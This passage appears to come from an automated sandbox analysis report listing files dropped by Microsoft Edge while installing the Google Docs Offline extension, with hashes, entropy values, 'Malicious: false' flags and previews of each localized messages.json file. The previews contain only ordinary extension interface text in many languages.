File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
